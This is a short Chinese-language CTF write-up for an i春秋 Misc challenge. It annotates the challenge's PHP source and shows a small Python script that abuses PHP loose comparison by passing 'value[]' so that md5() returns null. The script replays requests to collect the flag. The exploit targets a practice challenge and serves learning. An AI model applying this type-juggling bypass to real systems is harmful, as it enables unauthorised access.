乔悟空-CTF-i春秋-Misc-爆破3
hehe,第一次用这个,开始CTF刷题之旅
2020.09.02
学习
题目分析
下边是题目给的php源码,意思就是进行源码审计,分析出能输出flag的条件。
这东西我是真小白,so,积累经验吧~
<?php
error_reporting(0);#报错不输出
session_start();#开始一个session会话
require('./flag.php');#引入flag.php文件
if(!isset($_SESSION['nums'])){#如果nums值没有被设置就如下赋值,相当于初始化
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){#最长连接120s
session_destroy();
}
$value = $_REQUEST['value'];#从url中取value值
$str_rand = range('a', 'z');#包含a=》z之间的数组
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];#上一行数组中的随机两个字母拼接到一起
#第一个条件是whoami与输入的value值相同,第二个条件是value值从第五个开始截取4位弱等于0
#第一个条件通过初始值为ea,后续值有输出所以可以满足,
#第二个条件不好满足,所以通过md5输入数组返回null来满足弱等于0
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;#每一次被访问都会生成一个新的随机值
echo $str_rands;
}
if($_SESSION['nums']>=10){#在被访问,并且满足上边条件累计10次后,输出flag
echo $flag;
}
show_source(__FILE__);#我们能看见这串代码的原因……
?>
解题步骤
python脚本来实现上述要求,当然手工输入也是可以的。
以前是半小时手工试,学会python后是半小时写代码🤦♂️
慢慢练,用得多了就熟了……
import requests
url = b'http://7b1ce18bce9b4628b40a82b0f54ea03b4f5205a185ae4a3d.changame.ichunqiu.com/?value[]='
session = requests.session()
value = b'ea'#不知道为啥这地方非得让加上b,知道的大哥可以告诉一下
rs = session.get(url+value)
for i in range(20):
value = rs.content[0:2]
rs = session.get(url+value)
print(rs.content)
拙劣的py……👨🦯勉强能得到结果
总结
time()
返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数。
$_REQUEST()
默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。
开心就完事了🥱
赠人玫瑰🌹手有余香
能帮到你我很高兴
您的赞👍是我前进的动力,奥力给
Thanks for watching!
赠人玫瑰🌹手有余香
能帮到你我很高兴
您的赞👍是我前进的动力,奥力给
Thanks for watching!